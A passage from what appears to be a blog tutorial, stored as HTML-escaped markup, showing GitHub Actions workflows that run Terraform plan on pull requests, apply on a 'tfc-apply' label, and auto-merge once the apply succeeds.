#8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epermissions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtents\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull-requests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform plan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-plan@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis creates three jobs:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_validate\u003c/strong\u003e: This validates the terraform via \u003ccode\u003eterraform validate\u003c/code\u003e\ncommand to make sure that it is correct and doesn't have duplicate resources\nor anything like that.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_fmt\u003c/strong\u003e: This verifies that the terraform is well formatted by\nrunning the \u003ccode\u003eterraform fmt\u003c/code\u003e command.`\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_plan\u003c/strong\u003e: This runs the \u003ccode\u003eterraform\u003c/code\u003e plan and comments on the PR a\ndiff of the changes for you to verify.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTo verify this is working, lets delete \u003ccode\u003eroot/2-sqs.tf\u003c/code\u003e, then lets push a branch\nand make a pull request to see the result so far:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot/2-sqs.tf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eadd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.github/\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echeckout\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply-before-merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecommit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Implemented on-pull-request\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epush\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eorigin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehead\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAfter you make the pull request you should 3 checks on it and a comment that\nshows the plan:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_comment.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_checks.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eApply on Label\u003c/h1\u003e\n\u003cp\u003eSo now that the plan is working we need some way to \u003ccode\u003eapply\u003c/code\u003e the changes. I've\nfound the best way to do this is via a label rather than a comment because of\nthe way github actions work. Their event based actions like \u003ccode\u003eon-comment\u003c/code\u003e aren't\nexecuted in the context of a pull-request.\u003c/p\u003e\n\u003cp\u003eSince we will be using a label to signal a plan is ready to be applied lets\ncreate a new file \u003ccode\u003e.github/workflows/on-pull-request-labeled.yml\u003c/code\u003e and provide\nthis content:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etypes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [ \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elabeled\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eTERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eGITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_apply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ github.event.label.name == 'tfc-apply' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epermissions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtents\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull-requests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-apply@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will fire whenever a pull request is labeled with the \u003ccode\u003etfc-apply\u003c/code\u003e label.\nYou will need to create this label for the repository.\u003c/p\u003e\n\u003cp\u003eIt will run the \u003ccode\u003eapply\u003c/code\u003e and update the previous plan comment to let you\nknow the status.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying_comment.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eMerge on Apply\u003c/h1\u003e\n\u003cp\u003eOne thing you'll notice is that the pull request stayed open even after the\ninfrastructure is applied and we don't want that. We want any changes that have\nmade it into the environment to be merged into \u003ccode\u003emain\u003c/code\u003e automatically. To do\nthis we'll create our final action.\u003c/p\u003e\n\u003cp\u003eCreate a new file \u003ccode\u003e.github/workflows/on-apply-finished.yml\u003c/code\u003e with this content:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# Only trigger, when the build workflow succeeded\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkflow_run\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkflows\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_apply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etypes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecompleted\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003emerge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ github.event.workflow_run.conclusion == 'success' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epermissions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtents\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull-requests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003echecks\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estatuses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eactions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eoutputs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epullRequestNumber\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Get information about the current run\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epotiuk/get-workflow-origin@v1_5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworkflow-run-info\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etoken\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esourceRunId\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ github.event.workflow_run.id }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emerge a pull request after terraform apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo-bot/action-pull-request-merge@v1.2.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003egithub-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN 